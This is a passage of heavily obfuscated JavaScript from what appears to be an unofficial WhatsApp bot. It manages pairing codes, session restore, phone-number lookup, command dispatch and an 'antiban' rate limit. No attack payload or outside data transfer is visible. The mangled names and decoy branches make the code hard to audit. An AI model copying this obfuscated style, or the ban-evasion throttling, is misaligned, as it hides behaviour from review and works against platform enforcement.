{connection:_0x178323,qr:_0x41e3bf}=_0x49152f;console[_0x24028d(0x2f5)](_0x24028d(0x24a)+_0x7e50e9+_0x24028d(0x383),_0x178323||(_0x41e3bf?_0x1e9158['BWFwW']:_0x1e9158[_0x24028d(0x22a)]));if((_0x1e9158['JITFH'](_0x178323,_0x24028d(0x2b6))||_0x41e3bf)&&!_0x10506c&&!_0x10cb6a[_0x24028d(0x2db)][_0x24028d(0x382)][_0x24028d(0x35e)]){_0x10506c=!![],await new Promise(_0x242cd4=>setTimeout(_0x242cd4,0x5dc));let _0x91a2ff=0x3;while(_0x1e9158[_0x24028d(0x37b)](_0x91a2ff,0x0)){if(_0x1e9158['JITFH']('SERqt',_0x24028d(0x3b8)))try{console['log'](_0x24028d(0x38a)+_0x5a01cf+_0x24028d(0x294)+_0x1e9158[_0x24028d(0x3f5)](0x4,_0x91a2ff)+')');const _0x1e0ba8=await _0x10cb6a[_0x24028d(0x1df)](_0x5a01cf);pairingCodes[_0x24028d(0x35d)](_0x7e50e9,_0x1e0ba8);if(_0x5c9ca5)clearTimeout(_0x5c9ca5);_0x10cb6a['ev']['off'](_0x24028d(0x274),_0xa3280f),console['log']('[PAIRING]\x20โ
\x20Code\x20generated:\x20'+_0x1e0ba8+'\x20'),_0x1e9158['kpVuW'](_0x2934c8,{'sessionId':_0x7e50e9,'pairingCode':_0x1e0ba8});return;}catch(_0x31913e){console[_0x24028d(0x433)](_0x24028d(0x2a9)+(0x4-_0x91a2ff)+'\x20failed:\x20',_0x31913e['message']),_0x91a2ff--;if(_0x91a2ff===0x0){if(_0x5c9ca5)clearTimeout(_0x5c9ca5);_0x10cb6a['ev'][_0x24028d(0x2ba)](_0x1e9158[_0x24028d(0x41c)],_0xa3280f),await storage_1['storage'][_0x24028d(0x429)](_0x7e50e9,{'status':_0x1e9158['JHcPo']}),exports[_0x24028d(0x3f0)][_0x24028d(0x30d)](_0x7e50e9);try{if('SyqdM'!==_0x1e9158['Eoavb']){const _0x33fdcf=_0x488938?.[_0x24028d(0x3f7)]?.['id']?.['split'](':')[0x0]?.['split']('@')[0x0]['replace'](/[^0-9]/g,'');if(_0x33fdcf&&(_0x33fdcf===_0x9a83ab||_0x33fdcf['endsWith'](_0x1511d1)||_0x4a738a[_0x24028d(0x3b2)](_0x33fdcf)))return{'sessionId':_0x4a5baf,'sock':_0x305172};}else _0x10cb6a[_0x24028d(0x43b)](undefined);}catch{}_0x34eae1(new Error(_0x1e9158[_0x24028d(0x3c3)](_0x1e9158['niBFV'],_0x31913e[_0x24028d(0x2e0)])));return;}await new Promise(_0x30f9e3=>setTimeout(_0x30f9e3,0x7d0));}else{const _0x3cd3dd=_0xee92b1['activeSockets'][_0x24028d(0x2d4)]()['next']()['value'];if(_0x3cd3dd)return{'sessionId':_0x3cd3dd,'sock':_0x3dd55b[_0x24028d(0x3f0)][_0x24028d(0x455)](_0x3cd3dd)};}}}if(_0x178323===_0x1e9158[_0x24028d(0x421)]){if(_0x1e9158['hgDiL']===_0x24028d(0x251))_0x4f133b=_0x3c8b8d[_0x24028d(0x3a2)](_0x1886aa=>_0x1886aa['id'][_0x24028d(0x2ed)]('@')[0x0][_0x24028d(0x2ed)](':')[0x0]===_0x3773c2&&_0x1886aa['id'][_0x24028d(0x3b2)]('@lid'));else{if(_0x5c9ca5)_0x1e9158[_0x24028d(0x299)](clearTimeout,_0x5c9ca5);_0x10cb6a['ev'][_0x24028d(0x2ba)](_0x1e9158[_0x24028d(0x41c)],_0xa3280f),await storage_1['storage'][_0x24028d(0x429)](_0x7e50e9,{'status':'connected'}),_0x1e9158[_0x24028d(0x309)](_0x34eae1,new Error(_0x1e9158[_0x24028d(0x35f)]));return;}}if(_0x178323===_0x1e9158[_0x24028d(0x20c)]&&!_0x10506c){const _0x3869ce=_0x24028d(0x279)[_0x24028d(0x2ed)]('|');let _0x4fb958=0x0;while(!![]){switch(_0x3869ce[_0x4fb958++]){case'0':return;case'1':_0x1e9158[_0x24028d(0x299)](_0x34eae1,new Error(_0x1e9158['usQhZ']));continue;case'2':exports[_0x24028d(0x3f0)]['delete'](_0x7e50e9);continue;case'3':if(_0x5c9ca5)_0x1e9158[_0x24028d(0x299)](clearTimeout,_0x5c9ca5);continue;case'4':await storage_1[_0x24028d(0x45b)]['updateSession'](_0x7e50e9,{'status':_0x24028d(0x1e6)});continue;case'5':_0x10cb6a['ev'][_0x24028d(0x2ba)](_0x24028d(0x274),_0xa3280f);continue;}break;}}}};_0x10cb6a['ev']['on']('connection.update',_0xa3280f);}catch(_0x430296){if(_0x5c9ca5)clearTimeout(_0x5c9ca5);await storage_1[_0x1a8e06(0x45b)]['updateSession'](_0x7e50e9,{'status':_0x1e9158['JHcPo']}),_0x1e9158[_0x1a8e06(0x208)](_0x34eae1,_0x430296);}});}async function getSessionStatus(_0x13caf7){const _0x522b07=_0x50e9fe,_0x1eb018=await storage_1[_0x522b07(0x45b)][_0x522b07(0x1f6)](_0x13caf7);return _0x1eb018?.[_0x522b07(0x1f5)]||'not_found';}function getPairingCode(_0x58b939){const _0x5cdf99=_0x50e9fe;return pairingCodes[_0x5cdf99(0x455)](_0x58b939);}async function disconnectSession(_0x149783){const _0x6b085b=_0x50e9fe,_0x25b918={'tLqLZ':_0x6b085b(0x321),'EPVxD':'fAqrd','ibFXt':'disconnected'},_0x29b79a=exports[_0x6b085b(0x3f0)][_0x6b085b(0x455)](_0x149783);if(_0x29b79a){if(_0x25b918[_0x6b085b(0x25c)]===_0x25b918[_0x6b085b(0x29c)])_0x5f3d95={'enumerable':!![],'get':function(){return _0x20947a[_0x143b58];}};else{try{_0x29b79a[_0x6b085b(0x43b)](undefined);}catch{}exports[_0x6b085b(0x3f0)]['delete'](_0x149783);}}await storage_1['storage'][_0x6b085b(0x429)](_0x149783,{'status':_0x25b918[_0x6b085b(0x354)]});}function getActiveSessionsCount(){const _0x2fb052=_0x50e9fe;return exports[_0x2fb052(0x3f0)]['size'];}async function restoreAllSessions(){const _0x44091c=_0x50e9fe,_0x39e068={'qbcVG':'|MD|\x20No\x20MD\x20sessions\x20found\x20(DB\x20or\x20Disk).\x20Fresh\x20start!','WTfBL':function(_0x54534e,_0x4667d7){return _0x54534e<_0x4667d7;},'DiTSC':'auth_sessions','xkWvd':_0x44091c(0x341),'rEIap':function(_0x2ec011,_0x4c8a65,_0x34e62a){return _0x2ec011(_0x4c8a65,_0x34e62a);},'PcgrF':function(_0x32acd7,_0x356c61,_0x4cd405,_0x3629ed){return _0x32acd7(_0x356c61,_0x4cd405,_0x3629ed);}};console['log']('|MD|\x20Starting\x20MD\x20Bot\x20session\x20restore...');try{const _0x75170f=await storage_1[_0x44091c(0x45b)][_0x44091c(0x3e4)](),_0x87f844=_0x75170f[_0x44091c(0x460)](_0x22b0b9=>_0x22b0b9['type']==='md'||!_0x22b0b9[_0x44091c(0x415)]),_0x16855f=new Map(_0x87f844['map'](_0x4f8a86=>[_0x4f8a86['id'],_0x4f8a86]));console[_0x44091c(0x2f5)](_0x44091c(0x44d)+_0x87f844['length']+_0x44091c(0x331));const _0x3dadd8=path_1['default'][_0x44091c(0x3e6)](process[_0x44091c(0x325)](),'auth_sessions','md'),_0x2de3ed=[];fs_1[_0x44091c(0x2c5)][_0x44091c(0x425)](_0x3dadd8)&&fs_1[_0x44091c(0x2c5)][_0x44091c(0x205)](_0x3dadd8)[_0x44091c(0x343)](_0x30fa59=>{const _0x512727=_0x44091c;fs_1[_0x512727(0x2c5)]['statSync'](path_1['default'][_0x512727(0x3e6)](_0x3dadd8,_0x30fa59))[_0x512727(0x2ce)]()&&_0x2de3ed[_0x512727(0x303)](_0x30fa59);});console[_0x44091c(0x2f5)]('|\x20MD\x20|\x20Found\x20'+_0x2de3ed[_0x44091c(0x31d)]+_0x44091c(0x37d));const _0x50fdb9=new Set([..._0x16855f[_0x44091c(0x2d4)](),..._0x2de3ed]);if(_0x50fdb9['size']===0x0){console[_0x44091c(0x2f5)](_0x39e068[_0x44091c(0x392)]);return;}console[_0x44091c(0x2f5)]('|\x20MD\x20|\x20Attempting\x20to\x20recover\x20'+_0x50fdb9[_0x44091c(0x3a6)]+'\x20MD\x20sessions...');const _0xe8cd7c=Array[_0x44091c(0x3d6)](_0x50fdb9),_0x4e7c4c=0xbb8;for(let _0x4c784d=0x0;_0x39e068[_0x44091c(0x1f1)](_0x4c784d,_0xe8cd7c['length']);_0x4c784d++){const _0xba6a02=_0xe8cd7c[_0x4c784d];console['log'](_0x44091c(0x235)+(_0x4c784d+0x1)+'/'+_0xe8cd7c['length']+_0x44091c(0x386)+_0xba6a02);try{if('XcdjX'===_0x44091c(0x287)){const _0x55a9b2=path_1[_0x44091c(0x2c5)][_0x44091c(0x3e6)](process[_0x44091c(0x325)](),_0x39e068['DiTSC'],'md',_0xba6a02);if(!fs_1[_0x44091c(0x2c5)][_0x44091c(0x425)](_0x55a9b2)){console['log'](_0x44091c(0x315)+_0xba6a02+_0x44091c(0x204)),await storage_1[_0x44091c(0x45b)]['deleteSession'](_0xba6a02);continue;}!_0x16855f[_0x44091c(0x2c1)](_0xba6a02)&&(console[_0x44091c(0x2f5)]('|\x20MD\x20|\x20๐ป\x20Recovering\x20ORPHAN\x20session:\x20'+_0xba6a02+'\x20'),await storage_1[_0x44091c(0x45b)][_0x44091c(0x337)]({'id':_0xba6a02,'phoneNumber':_0x39e068[_0x44091c(0x2de)],'type':'md','status':_0x44091c(0x3b4),'createdBy':'SYSTEM_RECOVERY','creds':null,'keys':null}));_0x39e068[_0x44091c(0x3dd)](cleanSessionResidue,_0xba6a02,'md');try{await _0x39e068[_0x44091c(0x26c)](startSocket,_0xba6a02,undefined,'md'),console[_0x44091c(0x2f5)]('|\x20MD\x20|\x20โ
\x20Signal\x20sent\x20for\x20'+_0xba6a02);}catch(_0x32917a){console[_0x44091c(0x433)]('|\x20MD\x20|\x20โ\x20Start\x20failed\x20for\x20'+_0xba6a02+':',_0x32917a[_0x44091c(0x2e0)]);}_0x4c784d<_0xe8cd7c[_0x44091c(0x31d)]-0x1&&await new Promise(_0x2b9918=>setTimeout(_0x2b9918,_0x4e7c4c));}else return;}catch(_0x53b5c7){console['error'](_0x44091c(0x2be)+_0xba6a02+':\x20',_0x53b5c7[_0x44091c(0x2e0)]),console[_0x44091c(0x2f5)]('|\x20MD\x20|\x20๐งน\x20Deleting\x20corrupt\x20session:\x20'+_0xba6a02+'\x20'),await storage_1[_0x44091c(0x45b)]['deleteSession'](_0xba6a02);const _0x2e835f=path_1[_0x44091c(0x2c5)][_0x44091c(0x3e6)](process[_0x44091c(0x325)](),'auth_sessions','md',_0xba6a02),_0x4e1310=path_1['default'][_0x44091c(0x3e6)](process[_0x44091c(0x325)](),_0x44091c(0x396),_0x44091c(0x3fc),_0xba6a02);if(fs_1[_0x44091c(0x2c5)][_0x44091c(0x425)](_0x2e835f))fs_1[_0x44091c(0x2c5)][_0x44091c(0x38b)](_0x2e835f,{'recursive':!![],'force':!![]});if(fs_1[_0x44091c(0x2c5)][_0x44091c(0x425)](_0x4e1310))fs_1[_0x44091c(0x2c5)][_0x44091c(0x38b)](_0x4e1310,{'recursive':!![],'force':!![]});}}console[_0x44091c(0x2f5)]('[RESTORE]\x20Recovery\x20Process\x20Complete!\x20Active\x20Sockets:\x20'+exports[_0x44091c(0x3f0)]['size']+'\x20');}catch(_0x2f6f5c){console['error'](_0x44091c(0x2fe),_0x2f6f5c['message']);}}function getSessionSocket(_0x188e8a){const _0x218e61=_0x50e9fe,_0x39193f={'xCFZA':function(_0x1df997,_0x3aaa04){return _0x1df997>_0x3aaa04;}};if(_0x188e8a)return exports[_0x218e61(0x3f0)][_0x218e61(0x455)](_0x188e8a);if(_0x39193f[_0x218e61(0x239)](exports[_0x218e61(0x3f0)][_0x218e61(0x3a6)],0x0))return exports[_0x218e61(0x3f0)][_0x218e61(0x3df)]()[_0x218e61(0x2ae)]()['value'];return undefined;}async function getSessionByPhone(_0x90a39f){const _0x8bddd6=_0x50e9fe,_0x44ce1c={'kxwqT':function(_0x1233d4,_0x4bc01c){return _0x1233d4(_0x4bc01c);},'qpSXb':function(_0x396751,_0x27c6a9){return _0x396751===_0x27c6a9;},'ZuslS':_0x8bddd6(0x267),'ePzml':_0x8bddd6(0x1ec),'PbBmP':function(_0x3d1944,_0x152171){return _0x3d1944===_0x152171;},'cGMQz':function(_0x581f6b,_0x4b69f2){return _0x581f6b!==_0x4b69f2;},'ftckn':'UgCcA'};if(_0x44ce1c[_0x8bddd6(0x33f)](_0x90a39f,_0x44ce1c[_0x8bddd6(0x41a)])||_0x90a39f===_0x44ce1c[_0x8bddd6(0x2af)]){if(exports[_0x8bddd6(0x3f0)]['size']>0x0){if(_0x8bddd6(0x3a0)!==_0x8bddd6(0x39c)){const _0xc2d5b8=exports['activeSockets'][_0x8bddd6(0x2d4)]()[_0x8bddd6(0x2ae)]()[_0x8bddd6(0x2f4)];if(_0xc2d5b8)return{'sessionId':_0xc2d5b8,'sock':exports[_0x8bddd6(0x3f0)][_0x8bddd6(0x455)](_0xc2d5b8)};}else APCjWE[_0x8bddd6(0x3fb)](_0x4d4d65,_0x19e5b7),_0x1bc1d5[_0x8bddd6(0x30d)](_0x36c8a0);}return null;}const _0x5148dd=_0x90a39f[_0x8bddd6(0x3d3)](/[^0-9]/g,''),_0x128b3d=await storage_1[_0x8bddd6(0x45b)][_0x8bddd6(0x3e4)]();for(const _0xc0a12b of _0x128b3d){const _0x3aef59=_0xc0a12b['phoneNumber']?.[_0x8bddd6(0x3d3)](/[^0-9]/g,'');if(_0x3aef59&&(_0x44ce1c[_0x8bddd6(0x21c)](_0x3aef59,_0x5148dd)||_0x3aef59[_0x8bddd6(0x3b2)](_0x5148dd)||_0x5148dd[_0x8bddd6(0x3b2)](_0x3aef59))){const _0x3efbf5=exports[_0x8bddd6(0x3f0)][_0x8bddd6(0x455)](_0xc0a12b['id']);if(_0x3efbf5)return{'sessionId':_0xc0a12b['id'],'sock':_0x3efbf5};}}exports['activeSockets'][_0x8bddd6(0x343)]((_0x4a187a,_0x1d52db)=>{});for(const [_0x7ef6a8,_0x1d54a7]of exports[_0x8bddd6(0x3f0)]['entries']()){try{const _0x1a409b=_0x1d54a7?.['user']?.['id']?.[_0x8bddd6(0x2ed)](':')[0x0]?.[_0x8bddd6(0x2ed)]('@')[0x0][_0x8bddd6(0x3d3)](/[^0-9]/g,'');if(_0x1a409b&&(_0x1a409b===_0x5148dd||_0x1a409b[_0x8bddd6(0x3b2)](_0x5148dd)||_0x5148dd['endsWith'](_0x1a409b))){if(_0x44ce1c[_0x8bddd6(0x261)](_0x44ce1c['ftckn'],_0x8bddd6(0x3ce))){try{_0x111774['end'](_0x435954);}catch{}_0x2212b6[_0x8bddd6(0x3f0)][_0x8bddd6(0x30d)](_0x190e36);}else return{'sessionId':_0x7ef6a8,'sock':_0x1d54a7};}}catch(_0x236387){}}return null;}function getAllActiveSessions(){const _0x2b8068=_0x50e9fe,_0x327985=[];for(const [_0x3f54ba,_0x4e18a8]of exports[_0x2b8068(0x3f0)][_0x2b8068(0x45e)]()){try{const _0x2eadb2=_0x4e18a8?.['user']?.['id']?.['split'](':')[0x0]?.['split']('@')[0x0]||_0x2b8068(0x3f2);_0x327985[_0x2b8068(0x303)]({'sessionId':_0x3f54ba,'phoneNumber':_0x2eadb2,'sock':_0x4e18a8});}catch(_0x31b620){_0x327985['push']({'sessionId':_0x3f54ba,'phoneNumber':_0x2b8068(0x3f2),'sock':_0x4e18a8});}}return _0x327985;}async function getBotSettings(_0x5a610a){const _0x276aed=_0x50e9fe;return await storage_1['storage'][_0x276aed(0x1e0)](_0x5a610a);}const userCooldowns=new Map(),commandCooldown=0xea60,globalDelayMin=0xfa0,globalDelayMax=0x2710;async function checkAntiBan(_0x45f7c0,_0x3ea835,_0x346c78){const _0x4f00a6=_0x50e9fe,_0x2f56f3={'ueAzl':function(_0x14bf01,_0x26dcbd){return _0x14bf01-_0x26dcbd;}};if(!_0x346c78?.[_0x4f00a6(0x35a)]||_0x3ea835)return![];const _0x21395e=Date['now'](),_0x452179=userCooldowns[_0x4f00a6(0x455)](_0x45f7c0)||0x0;if(_0x2f56f3['ueAzl'](_0x21395e,_0x452179)<commandCooldown)return!![];return userCooldowns['set'](_0x45f7c0,_0x21395e),![];}async function handleMessage(_0x1ac8a8,_0x4e2b78,_0x5f5472){const _0x3d29ea=_0x50e9fe,_0x237c2d={'mtquC':function(_0x223bc3,_0x3354bd){return _0x223bc3===_0x3354bd;},'IeCji':function(_0x5428c8,_0x3cee0e){return _0x5428c8===_0x3cee0e;},'jBlEi':'Decrypted\x20message\x20with\x20closed\x20session','PNBqq':_0x3d29ea(0x377),'guiZr':_0x3d29ea(0x258),'QdJgH':function(_0x1c1f81,_0x29348b,_0x5ab095,_0x28a2a4,_0x249eec){return _0x1c1f81(_0x29348b,_0x5ab095,_0x28a2a4,_0x249eec);},'NPxRj':function(_0x28237a,_0x514f83,_0xfa019,_0x19f73b){return _0x28237a(_0x514f83,_0xfa019,_0x19f73b);},'SpYFL':_0x3d29ea(0x407),'XuwIu':function(_0x59daa0,_0x1cc5d5,_0x4acf80,_0x284de0,_0x423666){return _0x59daa0(_0x1cc5d5,_0x4acf80,_0x284de0,_0x423666);},'EInrb':'โ ๏ธ\x20Slow\x20down\x20bro,\x20antiban\x20rate\x20limit\x20active\x20๐','xBJUO':function(_0x3747a1,_0x3a6a66,_0x37c832,_0x461bf2){return _0x3747a1(_0x3a6a66,_0x37c832,_0x461bf2);},'ULbot':function(_0x5d02fb,_0x5bc1b2,_0x281267,_0x199231){return _0x5d02fb(_0x5bc1b2,_0x281267,_0x199231);},'peAnj':function(_0x2e5171,_0x2a14b8){return _0x2e5171!==_0x2a14b8;},'VVgFi':'[CHATBOT]\x20Error:'},_0x5961c3=_0x4e2b78[_0x3d29ea(0x275)][_0x3d29ea(0x266)],_0x5f1c1f=_0x5961c3[_0x3d29ea(0x3b2)]('@g.us');lastActive['set'](_0x5f5472,Date[_0x3d29ea(0x28e)]());let _0x4ab191='';if(_0x4e2b78[_0x3d29ea(0x2e0)]){if('OYsnH'===_0x237c2d['PNBqq'])_0x4ab191=_0x4e2b78[_0x3d29ea(0x2e0)][_0x3d29ea(0x2e7)]||_0x4e2b78[_0x3d29ea(0x2e0)][_0x3d29ea(0x260)]?.[_0x3d29ea(0x20f)]||_0x4e2b78['message'][_0x3d29ea(0x1f2)]?.[_0x3d29ea(0x207)]||_0x4e2b78[_0x3d29ea(0x2e0)]['videoMessage']?.[_0x3d29ea(0x207)]||'';else try{const _0x4f720f=_0x45ad2e?.[_0x3d29ea(0x3f7)]?.['id']?.[_0x3d29ea(0x2ed)](':')[0x0]?.['split']('@')[0x0]['replace'](/[^0-9]/g,'');if(_0x4f720f&&(_0x4f720f===_0x13ff92||_0x4f720f[_0x3d29ea(0x3b2)](_0x3b47ba)||_0x2b7550['endsWith'](_0x4f720f)))return{'sessionId':_0x5ca119,'sock':_0x5ecea7};}catch(_0x49edcf){}}const _0x4c6bd8=await storage_1['storage']['getBotSettings'](_0x5f5472),_0x4a0acc=_0x4c6bd8?.['prefix']||PREFIX;if(!_0x4ab191||!_0x4ab191['startsWith'](_0x4a0acc))return;const _0x15df7a=_0x4ab191[_0x3d29ea(0x387)](_0x4a0acc[_0x3d29ea(0x31d)])[_0x3d29ea(0x327)]()['split'](/ +/),_0x6541d1=_0x15df7a[_0x3d29ea(0x29a)]()?.[_0x3d29ea(0x393)]();if(!_0x6541d1||!/^[a-z0-9_-]+$/i[_0x3d29ea(0x270)](_0x6541d1))return;if(DEBUG)console[_0x3d29ea(0x2f5)]('['+_0x5f5472+_0x3d29ea(0x431)+_0x6541d1+_0x3d29ea(0x40f)+_0x4a0acc+')');_0x6541d1===_0x237c2d[_0x3d29ea(0x240)]&&(console[_0x3d29ea(0x2f5)](_0x3d29ea(0x3d1)+_0x5961c3+'\x20'),console[_0x3d29ea(0x2f5)](_0x3d29ea(0x2fd)+_0x4e2b78['key']['id']+'\x20'),console['log'](_0x3d29ea(0x2b2)+_0x4e2b78[_0x3d29ea(0x275)]['fromMe']+'\x20'),console[_0x3d29ea(0x2f5)]('[LOOP_DEBUG]\x20Text:\x20\x22'+_0x4ab191+'\x22'),console['log'](_0x3d29ea(0x36a)+_0x4e2b78[_0x3d29ea(0x275)]['participant']+'\x20'),console['log']('[LOOP_DEBUG]\x20Settings\x20Prefix:\x20\x22'+_0x4c6bd8?.[_0x3d29ea(0x389)]+_0x3d29ea(0x3fe)+PREFIX+'\x22'));const _0x31b1c3=_0x5f1c1f?_0x4e2b78[_0x3d29ea(0x275)][_0x3d29ea(0x259)]||_0x4e2b78[_0x3d29ea(0x259)]||'':_0x5961c3,_0x1ef064=_0x31b1c3['split']('@')[0x0],_0x477f04=_0x1ac8a8[_0x3d29ea(0x3f7)]?.['id']?.['split'](':')[0x0]?.[_0x3d29ea(0x2ed)]('@')[0x0],_0x57dcc1=(0x0,message_helper_1['isOwner'])(_0x1ac8a8,_0x4e2b78,_0x4c6bd8?.['ownerNumber']);if(_0x4c6bd8&&!_0x4c6bd8[_0x3d29ea(0x41d)]&&!_0x57dcc1)return;if(_0x4c6bd8?.[_0x3d29ea(0x35a)]){if(!_0x57dcc1)return;else _0x6541d1!==_0x3d29ea(0x35a)&&await _0x237c2d['QdJgH'](safeSendMessage,_0x1ac8a8,_0x5961c3,{'text':_0x3d29ea(0x2b3)},{'quoted':_0x4e2b78});}if(await _0x237c2d['NPxRj'](checkAntiBan,_0x31b1c3,_0x57dcc1,_0x4c6bd8)){if(_0x237c2d[_0x3d29ea(0x3eb)]!==_0x237c2d[_0x3d29ea(0x3eb)])return{'sessionId':_0x5c115f,'sock':_0x5396fd[_0x3d29ea(0x3f0)]['get'](_0x5b157a)};else{await _0x237c2d[_0x3d29ea(0x2b8)](safeSendMessage,_0x1ac8a8,_0x5961c3,{'text':_0x237c2d['EInrb']},{'quoted':_0x4e2b78});return;}}try{const _0x3d7dee=types_1['commands'][_0x3d29ea(0x455)](_0x6541d1||'');if(_0x3d7dee){const {bannedUsers:_0x37dd8e}=await Promise['resolve']()[_0x3d29ea(0x1f8)](()=>__importStar(require('./plugins/owner')));if(_0x37dd8e[_0x3d29ea(0x2c1)](_0x31b1c3)&&!_0x57dcc1){await _0x237c2d[_0x3d29ea(0x458)](safeSendMessage,_0x1ac8a8,_0x5961c3,{'text':_0x3d29ea(0x3b1)});return;}if(_0x3d7dee['ownerOnly']&&!_0x57dcc1){await _0x237c2d[_0x3d29ea(0x441)](safeSendMessage,_0x1ac8a8,_0x5961c3,{'text':_0x3d29ea(0x3d7)+_0x6541d1+_0x3d29ea(0x1ed)});return;}await _0x3d7dee[_0x3d29ea(0x255)]({'sock':_0x1ac8a8,'msg':_0x4e2b78,'args':_0x15df7a,'text':_0x4ab191,'chatId':_0x5961c3,'senderJid':_0x31b1c3,'isOwner':_0x57dcc1,'sessionId':_0x5f5472,'reply':async _0x1a4ad9=>{const _0x3a0375=_0x3d29ea;if(!_0x1a4ad9||_0x237c2d[_0x3a0375(0x31a)](typeof _0x1a4ad9,_0x3a0375(0x2cb))&&_0x237c2d[_0x3a0375(0x291)](_0x1a4ad9[_0x3a0375(0x327)](),'')){if(_0x3a0375(0x314)==='Xoseq')return{'sessionId':_0x31b08e['id'],'sock':_0x254d8c};else{console['warn'](_0x3a0375(0x3fd));return;}}await safeSendMessage(_0x1ac8a8,_0x5961c3,{'text':_0x1a4ad9});}});}else await _0x237c2d[_0x3d29ea(0x3cc)](safeSendMessage,_0x1ac8a8,_0x5961c3,{'text':_0x3d29ea(0x419)+_0x6541d1+_0x3d29ea(0x36f)});}catch(_0x4ccd26){if(_0x237c2d['peAnj']('snTLL','snTLL')){if(DfgTPq[_0x3d29ea(0x291)](typeof _0x19aeb6,_0x3d29ea(0x2cb))&&_0x163986[_0x3d29ea(0x3bf)](_0x3d29ea(0x27a)))return;if(typeof _0x2f090b==='string'&&_0x391aa1['includes'](DfgTPq['jBlEi']))return;_0x517383['call'](_0x6a0dd8,_0x2c1185,_0x1256b1,..._0x5a8b47);}else console['error']('Error\x20executing\x20'+_0x6541d1+':',_0x4ccd26),_0x6541d1&&await _0x237c2d['ULbot'](safeSendMessage,_0x1ac8a8,_0x5961c3,{'text':_0x3d29ea(0x37c)+_0x6541d1+'`\x0a\x0aError:\x20'+(_0x4ccd26[_0x3d29ea(0x2e0)]||'Unknown\x20error')});}try{await(0x0,chatbot_1['handleChatbotResponse'])(_0x1ac8a8,_0x5961c3,_0x4e2b78,_0x4ab191,_0x31b1c3);}catch(_0x53067f){console['error'](_0x237c2d[_0x3d29ea(0x365)],_0x53067f);}}function cleanSessionResidue(_0x1bc4cc,_0x157fea='md'){const _0x499316=_0x50e9fe,_0x322ef6={'bxejn':function(_0x5d067c,_0x26ca5e){return _0x5d067c===_0x26ca5e;}};try{const _0x8b323=path_1[_0x499316(0x2c5)][_0x499316(0x3e6)](process[_0x499316(0x325)](),_0x499316(0x396),_0x157fea,_0x1bc4cc);if(!fs_1[_0x499316(0x2c5)][_0x499316(0x425)](_0x8b323))return;const _0x50f17f=fs_1['default']['readdirSync'](_0x8b323);let _0x1d1972=0x0;for(const _0xbebd43 of _0x50f17f){(_0xbebd43[_0x499316(0x330)](_0x499316(0x271))||_0x322ef6[_0x499316(0x394)](_0xbebd43,_0x499316(0x2b9)))&&(fs_1[_0x499316(0x2c5)]['unlinkSync'](path_1['default'][_0x499316(0x3e6)](_0x8b323,_0xbebd43)),_0x1d1972++);}_0x1d1972>0x0&&console[_0x499316(0x2f5)](_0x499316(0x2f2)+_0x1d1972+_0x499316(0x245)+_0x1bc4cc);}catch(_0x314ee8){console['error'](_0x499316(0x229)+_0x1bc4cc+':',_0x314ee8[_0x499316(0x2e0)]);}}async function getBuffer(_0x3d4d5b){const _0x4a7686=_0x50e9fe,_0xff7529={'mvtHa':function(_0x580790,_0x39434d){return _0x580790 in _0x39434d;},'Bdrgz':function(_0x1ffd55,_0x242e01){return _0x1ffd55===_0x242e01;},'nhBpT':'Failed\x20to\x20fetch\x20buffer:'};try{const _0x4b5bdf=await axios_1[_0x4a7686(0x2c5)]['get'](_0x3d4d5b,{'responseType':_0x4a7686(0x324)});return _0x4b5bdf['data'];}catch(_0x169b31){if(_0xff7529[_0x4a7686(0x347)](_0x4a7686(0x38f),_0x4a7686(0x38f)))return console['error'](_0xff7529[_0x4a7686(0x440)],_0x169b31),null;else{if(_0x22af16===_0x3dc596)_0x304d9c=_0x586bfa;var _0x576ee1=_0x4dda11[_0x4a7686(0x29d)](_0x562194,_0x3767b4);(!_0x576ee1||(TDfYFQ[_0x4a7686(0x2b1)]('get',_0x576ee1)?!_0x36f3e6[_0x4a7686(0x1ff)]:_0x576ee1[_0x4a7686(0x40c)]||_0x576ee1[_0x4a7686(0x26e)]))&&(_0x576ee1={'enumerable':!![],'get':function(){return _0x3b482e[_0x10d70f];}}),_0xbb2067[_0x4a7686(0x378)](_0x431263,_0x39e223,_0x576ee1);}}}
|